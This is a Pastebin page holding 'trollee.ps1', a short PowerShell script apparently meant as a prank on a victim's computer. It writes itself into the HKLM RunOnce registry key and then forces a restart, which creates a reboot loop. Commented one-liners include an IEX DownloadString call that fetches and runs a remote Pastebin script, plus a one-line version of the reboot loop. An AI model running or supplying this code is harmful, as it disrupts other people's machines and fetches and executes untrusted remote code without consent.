Combreal

trollee.ps1

Dec 8th, 2020 (edited)
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $ScriptPath = $MyInvocation.MyCommand.Definition
  2. $ScriptExecPath = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -File "
  3. $ScriptFullExecPath = $ScriptExecPath + $ScriptPath
  4. Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "NextRun" $ScriptFullExecPath
  5. Restart-Computer
  6.  
  7. #oneliners
  8.  
  9. #powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/1C9zQrU3')"
  10.  
  11. #Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "NextRun" "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -File $($MyInvocation.MyCommand.Definition)";Restart-Computer
Add Comment
Please, Sign In to add comment